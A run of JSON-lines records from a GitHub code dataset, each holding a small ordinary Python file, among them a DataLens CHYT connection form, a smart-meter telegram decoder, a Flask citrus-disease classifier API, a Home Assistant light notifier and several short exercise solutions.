CommonFieldName,\n FormFieldName,\n)\nimport dl_api_connector.form_config.models.rows as C\nfrom dl_api_connector.form_config.models.shortcuts.rows import RowConstructor\nfrom dl_configs.connectors_settings import ConnectorSettingsBase\n\nfrom dl_connector_chyt.api.connection_info import CHYTConnectionInfoProvider\nfrom dl_connector_chyt.api.i18n.localizer import Translatable\nfrom dl_connector_chyt.core.settings import CHYTConnectorSettings\n\n\n@unique\nclass CHYTFieldName(FormFieldName):\n alias = \"alias\"\n\n\nclass CHYTConnectionFormFactory(ConnectionFormFactory):\n def get_form_config(\n self, connector_settings: Optional[ConnectorSettingsBase], tenant: Optional[TenantDef]\n ) -> ConnectionForm:\n assert connector_settings is not None and isinstance(connector_settings, CHYTConnectorSettings)\n\n rc = RowConstructor(localizer=self._localizer)\n\n clique_alias_row = C.CustomizableRow(\n items=[\n C.LabelRowItem(text=self._localizer.translate(Translatable(\"field_clique-alias\"))),\n C.InputRowItem(name=CHYTFieldName.alias, width=\"l\", default_value=connector_settings.DEFAULT_CLIQUE),\n ]\n )\n\n token_row = C.CustomizableRow(\n items=[\n C.LabelRowItem(text=self._localizer.translate(Translatable(\"field_chyt-token\"))),\n C.InputRowItem(\n name=CommonFieldName.token,\n width=\"m\",\n default_value=\"\" if self.mode == ConnectionFormMode.create else None,\n fake_value=\"******\" if self.mode == ConnectionFormMode.edit else None,\n control_props=C.InputRowItem.Props(type=\"password\"),\n ),\n ]\n )\n\n secure_row = C.CustomizableRow(\n items=[\n C.CheckboxRowItem(name=CommonFieldName.secure, text=\"HTTPS\", default_value=False),\n ]\n )\n\n common_api_schema_items: list[FormFieldApiSchema] = [\n FormFieldApiSchema(name=CommonFieldName.host, required=True),\n FormFieldApiSchema(name=CommonFieldName.port, required=True),\n FormFieldApiSchema(name=CHYTFieldName.alias, required=True),\n FormFieldApiSchema(name=CommonFieldName.token, required=self.mode == ConnectionFormMode.create),\n FormFieldApiSchema(name=CommonFieldName.secure, type=\"boolean\"),\n FormFieldApiSchema(name=CommonFieldName.data_export_forbidden),\n ]\n\n edit_api_schema = FormActionApiSchema(\n items=[\n *common_api_schema_items,\n FormFieldApiSchema(name=CommonFieldName.cache_ttl_sec, nullable=True),\n FormFieldApiSchema(name=CommonFieldName.raw_sql_level),\n ]\n )\n\n create_api_schema = FormActionApiSchema(\n items=[\n *edit_api_schema.items,\n *self._get_top_level_create_api_schema_items(),\n ]\n )\n\n check_api_schema = FormActionApiSchema(\n items=[\n *common_api_schema_items,\n *self._get_top_level_check_api_schema_items(),\n ]\n )\n\n return ConnectionForm(\n title=CHYTConnectionInfoProvider.get_title(self._localizer),\n rows=[\n rc.host_row(),\n rc.port_row(),\n clique_alias_row,\n token_row,\n C.CacheTTLRow(name=CommonFieldName.cache_ttl_sec),\n rc.raw_sql_level_row(),\n secure_row,\n rc.collapse_advanced_settings_row(),\n rc.data_export_forbidden_row(),\n ],\n api_schema=FormApiSchema(\n create=create_api_schema if self.mode == ConnectionFormMode.create else None,\n edit=edit_api_schema if self.mode == ConnectionFormMode.edit else None,\n check=check_api_schema,\n ),\n )\n","repo_name":"datalens-tech/datalens-backend","sub_path":"lib/dl_connector_chyt/dl_connector_chyt/api/connection_form/form_config.py","file_name":"form_config.py","file_ext":"py","file_size_in_byte":4414,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"54"} +{"seq_id":"8862539955","text":"from pyface.api import ProgressDialog as PyFaceProgressDialog\r\nfrom i_progress_meter import IProgressMeter\r\nfrom traits.api import implements, Bool, Long\r\nfrom PyQt4.QtCore import SIGNAL\r\n\r\nclass ProgressDialog(PyFaceProgressDialog):\r\n implements(IProgressMeter)\r\n \r\n cancelled = Bool(False)\r\n \r\n def _create_buttons(self, dialog, layout):\r\n super(ProgressDialog, self)._create_buttons(dialog, layout)\r\n \r\n # make Cancel button set self.cancelled\r\n dialog.connect(dialog, SIGNAL('rejected()'), self.cancel)\r\n \r\n # remove OK button\r\n buttons = layout.itemAt(layout.count()-1).widget()\r\n buttons.removeButton(buttons.buttons()[0])\r\n \r\n def cancel(self):\r\n self.cancelled = True\r\n","repo_name":"jvb/infobiotics-dashboard","sub_path":"infobiotics/dashboard/old/_progress/progress_dialog.py","file_name":"progress_dialog.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"43592707557","text":"import os\nimport re\nimport yaml\nfrom datetime import datetime, timezone\n\nfactors = { 'k':1E3, 'M':1E6, 'G':1E9, 'm':1E-3, 'u':1E-6 }\n\n# load data about registers\nwith open(os.path.join(os.path.dirname(__file__), 'registers.yaml')) as file:\n registers = yaml.safe_load(file)\nfor code,reg in registers.items():\n reg['abs'] = isinstance(reg['tolerance'], (int, float))\n if type(reg['tolerance']) is str: \n if reg['tolerance'][-1]=='%':\n reg['tolerance'] = int(reg['tolerance'][:-1])/100\n else:\n raise Exception(f\"Tolerance provided for {code} is neither a number or a percentage.\")\n elif not reg['abs']:\n raise Exception(f\"Tolerance provided for {code} is neither a number or a percentage.\")\n\nclass record:\n\n def __init__(self,measurement=\"Measurement\", raw=None, tag_set={}, field_set={}, timestamp=None, tolerance={}):\n # constructor from explicit data or from raw record\n self.measurement = measurement\n self.tag_set = tag_set\n if raw is None:\n self.field_set = field_set\n self.timestamp = timestamp\n self.tolerance = tolerance\n else:\n self.processRawRecord(raw)\n\n def valid(self):\n # check that this is a valid measurement\n return (len(self.field_set)>0)\n\n def __eq__(self, other):\n # the idea here is to use this for the deadband implementation.\n # so we need to check if two records are close enough to be considered equal\n # the criteria will depend on the field and is loaded from yaml.\n if set(self.field_set) != set(other.field_set):\n return False\n for field, value in self.field_set.items():\n if self.tolerance[field]['abs']:\n if abs(value-other.field_set[field])>self.tolerance[field]['tolerance']:\n return False\n else:\n if abs(value-other.field_set[field])>self.tolerance[field]['tolerance']*value:\n return False\n if abs((self.timestamp-other.timestamp).total_seconds())>float(self.tolerance[\"timestamp\"]['tolerance']):\n return False\n return True\n\n def processRawRecord(self,record):\n # read the raw record from the communicating meter and fills in the data members\n def content(foo): return iter(foo.splitlines())\n fields = {}\n tolerance = {}\n timestamp = datetime.now(timezone.utc)\n for n,line in enumerate(content(record)):\n m = re.match('0-0:1.0.0\\((\\d+)(S|W)\\)',line)\n if m :\n timestamp = datetime.strptime(f\"{m.group(1)}+0{'2' if m.group(2)=='S' else '1'}:00\", \"%y%m%d%H%M%S%z\")\n m = re.match('(\\d-\\d):(\\d+.\\d+.\\d+)\\((\\d+.\\d+)\\*(.*)\\)',line)\n if m and m.group(1)==\"1-0\":\n register = m.group(2)\n value = float(m.group(3))\n unit = m.group(4)\n if register in registers:\n factor = factors.get(unit[0],1)\n fields[registers[register]['label']] = value*factor\n tolerance[registers[register]['label']] = {k: registers[register][k] for k in ('tolerance','abs')}\n tolerance[\"timestamp\"] = {k: registers['timestamp'][k] for k in ('tolerance','abs')}\n self.field_set = fields\n self.tolerance = tolerance\n self.timestamp = timestamp\n\n def __str__(self):\n # output as line protocol\n output = f\"{self.measurement}\"\n for tag,value in self.tag_set.items():\n output += f\",{tag}={value}\"\n for count,(field, value) in enumerate(self.field_set.items()):\n output += f'{\",\" if count else \" \"}{field}={value}'\n if self.timestamp is not None:\n output += f\" {int(datetime.timestamp(self.timestamp)*1E9)}\"\n return output\n\ndef main():\n \n test_string = \"\"\"\n/FLU5\\253770234_A\n\n0-0:96.1.4(50216)\n0-0:96.1.1(3153414731313035343239303939)\n0-0:1.0.0(230819220327S)\n1-0:1.8.1(000003.689*kWh)\n1-0:1.8.2(000006.940*kWh)\n1-0:2.8.1(000022.354*kWh)\n1-0:2.8.2(000004.264*kWh)\n0-0:96.14.0(0002)\n1-0:1.7.0(00.278*kW)\n1-0:2.7.0(00.000*kW)\n1-0:21.7.0(00.278*kW)\n1-0:22.7.0(00.000*kW)\n1-0:32.7.0(233.3*V)\n1-0:31.7.0(001.51*A)\n0-0:96.3.10(1)\n0-0:17.0.0(999.9*kW)\n1-0:31.4.0(999*A)\n0-0:96.13.0()\n!EF3C\n \"\"\"\n \n print(test_string)\n rec = record(raw=test_string,measurement=\"TEST\")\n print(rec)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"delaere/P1-telegraf","sub_path":"decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":4465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7028000238","text":"from PIL import Image\nfrom processing_image import process_image\nfrom creating_model import create_model\nimport numpy as np\nimport tensorflow as tf\n\ndef map_predicted_prob_vs_label(prediction):\n \"\"\"Returns a map of probability vs label pair.\"\"\"\n predicted_prob_and_label = {k:v for v,k in enumerate(prediction)}\n highest_prob_label = dict()\n for prob in sorted(predicted_prob_and_label, reverse=True):\n highest_prob_label[prob] = predicted_prob_and_label[prob]\n \n return highest_prob_label\n\ndef predict(image_path=None, model_path=None, top_k=None):\n \"\"\"Returns the image classes with associated probabilities \\\n in decreasing order.\n \n Read the image path & process it. Use the saved trained keras model \\\n to load the weights on the duplicate keras model created. Once, the weights \\\n are loaded, use this model for prediction on the input image.\n \n Unless \"top_k\" is specified, this will return all the classes & associated \\\n probabilities in the decreasing order.\n \"\"\"\n if image_path is None:\n raise Exception(\"Must provide an image path!\")\n \n if model_path is None:\n raise Exception(\"Must load a keras model in .h5 format to run the classifier!\")\n \n # create duplicate keras model (this should be exactly similar to the trained keras model)\n # Load the wights on this duplicate model from the saved trained keras model (.h5 file)\n model = create_model()\n model.load_weights(model_path)\n \n #load image in the form of numpy\n im = Image.open(image_path)\n test_image = np.asarray(im)\n \n #pre-process image: resize & normalize pixels\n processed_test_image = process_image(test_image)\n modified_processed_test_image = np.expand_dims(processed_test_image, axis=0)\n \n #convert to tensor before predicting by model\n processed_img = tf.convert_to_tensor(modified_processed_test_image)\n predicted_prob = model.predict(processed_img) #returns 102 probabilities\n \n #map probabilities with labels & sort them in the order of highest probabilities\n sorted_prob_vs_label = map_predicted_prob_vs_label(predicted_prob[0]) #default contains only one image\n \n #Get top_k list of probabilities & their respective labels\n top_k_probs = list(sorted_prob_vs_label.keys())[:top_k]\n top_k_labels = [str(i+1) for i in list(sorted_prob_vs_label.values())[:top_k]]\n \n return top_k_probs, top_k_labels","repo_name":"gitinpython/image_classifier_udacity","sub_path":"Part-2/calculate_prediction.py","file_name":"calculate_prediction.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31329920293","text":"import time\nimport hashlib\nimport xlrd\nimport json\ns=int(time.time()*1000)#当前时间对应reqCode,timestamp\ne=str(s)\nprint(s)#reqCode,timestamp两个值相等\nh='321654'+e+e\nprint(h)\nm= hashlib.md5()#加密\nm.update(h.encode(encoding='utf-8')) #生成加密串,其中h是要加密的字符串,对应sign字段\nprint (m.hexdigest())\n\n\n\ndata = xlrd.open_workbook(r'C:\\Users\\Administrator\\Desktop\\api.xlsx')\ntable = data.sheets()[0]\n# print(table)\n# nrows = table.nrows #行数\n# ncols = table.ncols #列数\n# c1=arange(0,nrows,1)\n# print(c1)\n\nstart = 97 # 开始的行\nend = 107 # 结束的行\n\n\nlist_values = []\nfor x in range(start, end):\n\n row = table.cell_value(x,0)\n a=int(row)\n list_values.append(a)\n# print(list_values)\ndata_json = json.dumps(list_values)\nprint(list_values)\nprint(data_json)","repo_name":"abao0713/interfaceTest2","sub_path":"testCase/product/md5.py","file_name":"md5.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37620985569","text":"n = int(input())\r\n\r\narr = []\r\nfor i in range(n):\r\n arr.append(list(map(int,input().split())))\r\n\r\n#print(arr)\r\n\r\ni = j = s = 0\r\na = []\r\nwhile True:\r\n# print(arr[i][j])\r\n a. append(arr[i][j])\r\n i += 1\r\n if i == n:\r\n s += max(a)\r\n a = []\r\n i = 0\r\n j += 1\r\n if j == len(arr[i]):\r\n break\r\nprint(s)\r\n","repo_name":"dyrnfmxm/python_practice","sub_path":"codeUp_2702.py","file_name":"codeUp_2702.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30130847482","text":"from cmath import sqrt\nimport math\n\ninArr = input().split(' ')\n\n\na = float(inArr[0])\nm = float(inArr[1])\n\nr = math.sqrt(a/(math.pi))\n\n\nif (2*r)*math.pi > m:\n print(\"Need more materials!\")\nelse:\n print(\"Diablo is happy!\")\n","repo_name":"felixApellSkjutar/Kattis","sub_path":"AnthonyAndDiablo/anthonyAndDiablo.py","file_name":"anthonyAndDiablo.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20910506639","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\ndef main():\n eq = False\n for i in range(3):\n n = int(input(\"Entrez le numero \" + str(i+1) + \" :\"))\n if i == 0 :\n max = n\n else:\n if n > max :\n max = n\n elif n == max :\n eq = True\n print(\"Le nombre le plus grand est \" + str(max))\n if eq :\n print(\"Mais vous avez introduit des valeurs identiques !\")\n","repo_name":"OpenWeek/inginious-task-LINGE","sub_path":"TP2Ex1/src/CorrQ.py","file_name":"CorrQ.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70054947683","text":"# -*- coding:utf-8 -*-\n# @Python Version: 3.7\n# @Time: 2020/3/14 13:14\n# @Author: Michael Ming\n# @Website: https://michael.blog.csdn.net/\n# @File: Valentine'sDay.py\n# @Reference: \nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom decimal import Decimal\nfrom decimal import getcontext\nimport time\n\n\ndef heartfunc(x, y):\n return (x ** 2 + y ** 2 - 1) ** 3 - x ** 2 * y ** 3 <= 0\n\n\ndef cal_pi(precision):\n getcontext().prec = precision\n return sum(1 / Decimal(16) ** k *\n (Decimal(4) / (8 * k + 1) -\n Decimal(2) / (8 * k + 4) -\n Decimal(1) / (8 * k + 5) -\n Decimal(1) / (8 * k + 6)) for k in range(precision))\n\n\ndef printer(text, delay=0.1314):\n \"\"\"打字机效果\"\"\"\n for ch in text:\n print(ch, end='', flush=True)\n time.sleep(delay)\n\n\nif __name__ == '__main__':\n n = 1314\n x = np.linspace(-2, 2, n)\n y = np.linspace(-2, 2, n)\n X, Y = np.meshgrid(x, y)\n plt.contourf(X, Y, heartfunc(X, Y), cmap=plt.cm.autumn)\n # 颜色查询 https://matplotlib.org/examples/color/colormaps_reference.html\n plt.title(\"5201314\")\n plt.show()\n\n loveInPi = str(cal_pi(1314))\n heart = ['5', '2', '0', '1', '3', '1', '4']\n iloveyou = \"5201314\"\n love = \"\"\n i, j = 0, 0\n while love != iloveyou:\n if loveInPi[i] == heart[j]:\n love += loveInPi[i]\n j += 1\n i += 1\n printer(\"Michael在圆周率中找到了爱的誓言:\" + love + \" to my love!\")\n","repo_name":"hitskyer/course","sub_path":"python/chenmingming/function/Valentine'sDay.py","file_name":"Valentine'sDay.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"54"} +{"seq_id":"12870311778","text":"#!/usr/local/bin/python3\nimport nltk, csv\nimport smallerNeuralNetwork as sNetwork\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.linear_model import SGDClassifier\n\n\n# GET THE DATA/TEXT \nwith open(\"MontyPython.txt\") as file:\n lines = file.readlines()\nlines = [line.strip() for line in lines] \n\n# NOISE REMOVAL\ntempLines = []\nfor i in range(len(lines)):\n if not lines[i].startswith('['): #get rid of any lines that only provide descriptions\n if \":\" in lines[i]:\n startIndex = lines[i].index(\":\")+1 #remove the character names to improve prediction accuracy\n else:\n startIndex = 0\n tempLines.append(lines[i][startIndex:])\n\nlines = tempLines\n# [print(lines[i], end =\"\\n\") for i in range(len(lines))]\n\nmonty = \",\".join(lines)\n# print(monty)\n\n# Split the data into training and testing\ntrainingSize = int(len(monty) * 0.7)\ntrainingSents = monty[:trainingSize]\ntestSents = monty[trainingSize:]\n\n# CLASSIFICATION AND TRAINING BEGINS HERE\n# COPY THE DATA INTO A CSV FILE AND ADD TAGS\n\ndef writeToFile(listToWrite, fileName):\n with open(fileName, 'w', newline='') as f:\n writer = csv.writer(f)\n writer.writerow([\"SentenceID\", \"Sentence\"])\n for i in range(len(listToWrite)):\n writer.writerow([i+1, listToWrite[i]])\n\n\n\n# writeToFile(trainingSents, 'trainer.csv')\n# writeToFile(testSents, 'tester.csv')\n\n\n\"\"\"SENTIMENT ANALYSIS\"\"\"\nsentimentTags = [\"negative\", \"sarcastic\", \"neutral\", \"positive\", \"exclamation\"] \n# 1 - Negative, 2 - Sarcastic, 3 - Neutral, 4 - Positive, 5 - Excalmation\n\n\"\"\"BEGIN CLASSIFICATION AFTER MANUALLY TAGGING THE TEST DATA\"\"\"\ntrainingLines, trainingData, categories, testingData = [], [], [], []\n\n# #Read the files and get the classification tags\n# with open('trainer.csv') as trainer:\n# reader = csv.reader(trainer)\n# for row in reader:\n# trainingData.append(row[1])\n# categories.append(row[2])\n\n# with open('tester.csv') as tester:\n# reader = csv.reader(tester)\n# for row in reader:\n# testingData.append(row[1])\n\n\n# [print(trainingData[i], \" \", trainingSents[i], end =\"\\n\") for i in range(len(trainingData))]\n\ndef nbClassify(trainSet, trainCategories, testSet):\n # Build a pipeline to simplify the process of creating the vector matrix, transforming to tf-idf and classifying\n text_clf = Pipeline([('vect', CountVectorizer()),('tfidf', TfidfTransformer()),('clf', MultinomialNB())])\n # text_clf.fit(twenty_train.data, twenty_train.target)\n text_clf.fit(trainSet, trainCategories)\n\n # Evaluating the performance of the classifier\n\n predictions = text_clf.predict(testSet)\n return predictions\n\n\n\"\"\"ALTERNATIVE TO MULTINOMINAL NB CLASSIFIER\"\"\"\n# CLASSIFYING USING SVM (SUPPORT VECTOR MACHINE)\ndef svmClassify(trainSet, trainCategories, testSet):\n text_clf = Pipeline([('vect', CountVectorizer()),('tfidf', TfidfTransformer()),('clf', SGDClassifier(loss='hinge', penalty='l2',alpha=1e-3, random_state=42, max_iter=5, tol=None))])\n text_clf.fit(trainSet, trainCategories)\n\n predictions = text_clf.predict(testSet)\n return predictions\n\n\n","repo_name":"jaskarannagi19/RChatbot","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"815544901","text":"import appdaemon.appapi as appapi\nfrom MyLogger2 import MyLogger\n\n### Comments ###\n\n### Args ###\n\"\"\"\ntrigger_entity: \nlight_entity: \nmode: \nbrightness: \ncolor_name: \nperiod: \ncycles: \n\"\"\"\n\n\nclass NotifyLights(appapi.AppDaemon):\n \n def initialize(self):\n # Start logger\n self.logger = MyLogger(__name__, file_location=\"/conf/logs/\" + __name__)\n self.logger.set_module_name(self.name)\n self.logger.debug(\"Started.\")\n \n self.trigger_entity = self.args[\"trigger_entity\"]\n self.light_entity = self.args[\"light_entity\"]\n self.mode = self.args[\"mode\"]\n self.brightness = self.args[\"brightness\"]\n self.color_name = self.args[\"color_name\"]\n self.period = self.args[\"period\"]\n self.cycles = self.args[\"cycles\"]\n \n self.listen_state(self.state_callback, self.trigger_entity)\n \n \n def state_callback(self, entity, attributes, old, new, kwargs):\n #self.logger.debug(\"callback reached\")\n if new == \"on\":\n self.notify_callback()\n \n \n def notify_callback(self):\n for light in self.split_device_list(self.light_entity):\n self.logger.info(\"Triggered\")\n self.call_service(\"light/lifx_effect_pulse\", entity_id=light, mode=self.mode, brightness=self.brightness , color_name=self.color_name, period=self.period , cycles=self.cycles )","repo_name":"adamja/HomeAssistant","sub_path":"apps/notify_lights.py","file_name":"notify_lights.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18745336274","text":"import io\n\nimport numpy as np\nfrom flask import Flask, jsonify, request\nfrom flask_cors import CORS\nfrom tensorflow.keras.models import load_model\nfrom tensorflow.keras.preprocessing import image\n\napp = Flask(__name__)\nCORS(app)\n# Load the trained model\nmodel = load_model(\"./bin/citrus_ai_model.h5\") # Replace with the actual path to your trained model file\n\n# Class labels mapping\nclass_labels = {\n 0: \"Anthracnose\",\n 1: \"Black Spot\",\n 2: \"Canker\",\n 3: \"Fruit Fly\",\n 4: \"Green Mould\",\n 5: \"Greening\",\n 6: \"Healthy\",\n 7: \"Mechanical Damage\",\n 8: \"Scab\",\n}\n\n\n@app.route(\"/predict\", methods=[\"POST\"])\ndef predict():\n try:\n # Get the uploaded image file\n file = request.files[\"image\"]\n\n # Ensure it's a valid image file\n if not file:\n return jsonify({\"error\": \"No image provided\"}), 400\n\n # Load and preprocess the input image\n img = image.load_img(io.BytesIO(file.read()), target_size=(224, 224))\n img = image.img_to_array(img)\n img = np.expand_dims(img, axis=0)\n img /= 255.0 # Rescale to the same scale as the training data\n\n # Make predictions\n predictions = model.predict(img)\n\n # Get the class with the highest probability\n predicted_class = np.argmax(predictions, axis=1)[0]\n predicted_label = class_labels[predicted_class]\n\n # Get the percentage of accuracy\n accuracy_percentage = predictions[0][predicted_class] * 100\n\n return jsonify({\"category\": predicted_label, \"accuracy\": f\"{accuracy_percentage:.2f}%\"})\n\n except Exception as e:\n return jsonify({\"error\": str(e)}), 500\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=5000)\n","repo_name":"mikosco4real/CitrusAIModel","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3644117427","text":"import requests\nfrom bs4 import BeautifulSoup\n\nclass Resource:\n def __init__(self):\n pass\n\n @staticmethod\n async def searchGoogle(search):\n page = requests.get(\"https://www.google.com/search?q=\"+search)\n soup = BeautifulSoup(page.text, \"html.parser\")\n\n search = soup.find(\"div\", {\"id\": \"main\"})\n firstParameter = \"/url?q=\"\n endParameter = \"/&sa=\"\n links = []\n \n if search != None:\n tags = search.findAll(\"a\")\n for tag in tags:\n href = tag[\"href\"]\n if firstParameter in href and endParameter in href:\n links.append(href.split(firstParameter)[1].split(endParameter)[0])\n \n \n return links","repo_name":"feyyazcankose/PythonApi","sub_path":"api/resource/Resource.py","file_name":"Resource.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10776593317","text":"import csv\nimport pandas as pd\nimport cv2\nimport numpy as np\nimport os\nimport matplotlib.pyplot as plt\n\ndef frame_capture(file): \n grayFrameStack=[]\n cap = cv2.VideoCapture(file)\n if (cap.isOpened()== False): \n print(\"Error opening video stream or file\")\n else:\n \t# Read until video is completed\n while(cap.isOpened()): \n ret, frame = cap.read()\n if ret == True: \n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n #cv2.imshow('Frame',gray)\n grayFrameStack.append(gray) \n # Break the loop\n else:\n break\n cap.release()\n cv2.destroyAllWindows()\n return grayFrameStack\n\ndef loadcsv(file):\n df = pd.read_csv(file) # load csv file as dataframe\n df['filename'] = df['filename'].apply(lambda x: x[0:28]) # truncates file names to remove extension\n return df\n\ndef find_annotations(file, csvdata):\n root_file_name = file[0:28] # removes extension of the aris file name\n csv_filtered = csvdata[csvdata['filename']==root_file_name] # only keeps annotations for that aris file\n return csv_filtered\n \n## THE SCRIPT STARTS HERE ####################################################\n\ncsvfile = r'C:\\Users\\xavier.mouy\\Documents\\PhD\\Projects\\ONC\\Detector\\merged_annotation_updateddataset.csv'\naris_dir = r'C:\\Users\\xavier.mouy\\Documents\\PhD\\Projects\\ONC\\Detector\\data'\nout_dir = r'C:\\Users\\xavier.mouy\\Documents\\PhD\\Projects\\ONC\\Detector\\annotation_images'\n\n# load CSV file with manual annotations\ncsvdata = loadcsv(csvfile)\n\n# Loop through all aris files\nfor file in os.listdir(aris_dir):\n if file.endswith(\".mp4\"):\n print(file)\n # find annotations for that aris file\n annots = find_annotations(file, csvdata)\n print( '-> ', str(len(annots)), 'annotations')\n \n # extract annotations frames and save as separate images\n if len(annots)>0: # if there are annotatiosn for that file... \n \n # load all frames from the video \n frames = frame_capture(os.path.join(aris_dir,file))\n # go through each annotations and save annotation box as separate image\n for idx, annot in annots.iterrows():\n frame_idx = int(annot['detection_frame_idx'])\n track_global_id = annot['track_global_id']\n detection_id = annot['detection_id']\n # Calculate cneter of annotation box\n midpoint_X = int(annot['TL_x']) + int(round((annot['BR_x'] - annot['TL_x'])/2))\n midpoint_Y = int(annot['TL_y']) + int(round((annot['BR_y'] - annot['TL_y'])/2))\n frame = frames[frame_idx]\n \n # crop to fit annotation box\n # frame2 = frame[int(annot['TL_y']):int(annot['BR_y']), int(annot['TL_x']):int(annot['BR_x']) ]\n \n # crop to fixed width and height\n half_width = 20\n half_height = 20\n frame2 = frame[int(midpoint_Y-half_height):int(midpoint_Y+half_height), int(midpoint_X-half_width):int(midpoint_X+half_width) ]\n \n # plt.imshow(frame)\n # plt.plot(midpoint_X,midpoint_Y,'.', color = 'red')\n # plt.draw()\n \n image_name = detection_id + '_' + str(int(track_global_id)) + '_' + str(int(frame_idx)) + '_' + file[0:-4] + '.png'\n cv2.imwrite(os.path.join(out_dir,image_name), frame2)\n\n \n ","repo_name":"xaviermouy/onc-fish-acoustics-experiment","sub_path":"extract_annot_images_ARIS.py","file_name":"extract_annot_images_ARIS.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1044743663","text":"import rethinkdb as r\nrdb = r.RethinkDB()\n\n# Connection to the database\nrdb.connect(\"localhost\", 28015).repl()\ndb = rdb.db(\"mydb\")\n\n# Create table\n# db.table_create(\"sprints\").run()\n\n# Insert data\n# db.table(\"sprints\").insert([\n# {\"name\": \"sunflower\", \"day\" : \"monday\", \"task_id\": \"a31c5a5e-ef96-4736-96cd-fbd33453d91a\"},\n# {\"name\": \"sunflower\", \"day\" : \"tuesday\", \"task_id\": \"f079445a-a444-45ba-8795-bef871741946\"},\n# {\"name\": \"rainbow\", \"day\" : \"monday\", \"task_id\": \"f079445a-a444-45ba-8795-bef871741946\"},\n# {\"name\": \"rainbow\", \"day\" : \"wednesday\", \"task_id\": \"7dce1c68-12ff-457f-a893-aad84859845f\"},\n# {\"name\": \"gun\", \"day\" : \"friday\", \"task_id\": \"623be6e2-4b33-4e96-9638-77c897d9cab2\"}\n# {\"name\": \"gun\", \"day\" : \"saturday\", \"task_id\": \"623be6e2-4b33-4e96-9638-77c897d9cab2\"}\n# ]).run()\n\n# Get data\ncursor = db.table(\"users\").run()\n\nfor doc in cursor:\n print(doc)","repo_name":"bmuday/rethinkdb-intro","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"17345705120","text":"# import sys\n# from PyQt5 import Qt\n# from vtk.qt.QVTKRenderWindowInteractor import QVTKRenderWindowInteractor\n# from vedo import Plotter, Picture, Text2D, printc\n\n# class MainWindow(Qt.QMainWindow):\n\n# def __init__(self, parent=None):\n\n# Qt.QMainWindow.__init__(self, parent)\n# self.frame = Qt.QFrame()\n# self.layout = Qt.QVBoxLayout()\n# self.vtkWidget = QVTKRenderWindowInteractor(self.frame)\n\n# # Create vedo renderer and add objects and callbacks\n# self.plt = Plotter(qtWidget=self.vtkWidget)\n# self.cbid = self.plt.addCallback(\"key press\", self.onKeypress)\n# self.imgActor = Picture(\"https://icatcare.org/app/uploads/2018/07/Helping-your-new-cat-or-kitten-settle-in-1.png\")\n# self.text2d = Text2D(\"Use slider to change contrast\")\n\n# self.slider = Qt.QSlider(1)\n# self.slider.valueChanged.connect(self.onSlider)\n# self.layout.addWidget(self.vtkWidget)\n# self.layout.addWidget(self.slider)\n\n# self.frame.setLayout(self.layout)\n# self.setCentralWidget(self.frame)\n# self.plt.show(self.imgActor, self.text2d, mode='image') # build the vedo rendering\n# self.show() # show the Qt Window\n\n\n# def onSlider(self, value):\n# self.imgActor.window(value*10) # change image contrast\n# self.text2d.text(f\"window level is now: {value*10}\")\n# self.plt.render()\n\n# def onKeypress(self, evt):\n# printc(\"You have pressed key:\", evt.keyPressed, c='b')\n# if evt.keyPressed=='q':\n# self.plt.close()\n# self.vtkWidget.close()\n# exit()\n\n# def onClose(self):\n# self.vtkWidget.close()\n\n# if __name__ == \"__main__\":\n# app = Qt.QApplication(sys.argv)\n# window = MainWindow()\n# app.aboutToQuit.connect(window.onClose)\n# app.exec_()\n\n# import numpy as np\n\n# a = [4,65,7,7,6,6,33,]\n# print(a)\n# import os\n# from pathlib import Path\n# import glob\n# path = \"D:/NyeMan/KULIAH S2/Thesis/tooth-aligner/saved_landmark_predict_manual/AE/AE.json\"\n# c=path.split(os.altsep)\n# a=os.altsep.join(c[:-1])\n# for step_folder in glob.glob(a+\"/*\"):\n# if(\".json\" not in step_folder):\n# index = step_folder.split(\"step_\")[-1]\n# for model in glob.glob(step_folder+\"/*.vtp\"):\n# print(model)\n# # load model\n# for ld in glob.glob(step_folder+\"/*.csv\"):\n# print(ld)\n# # load 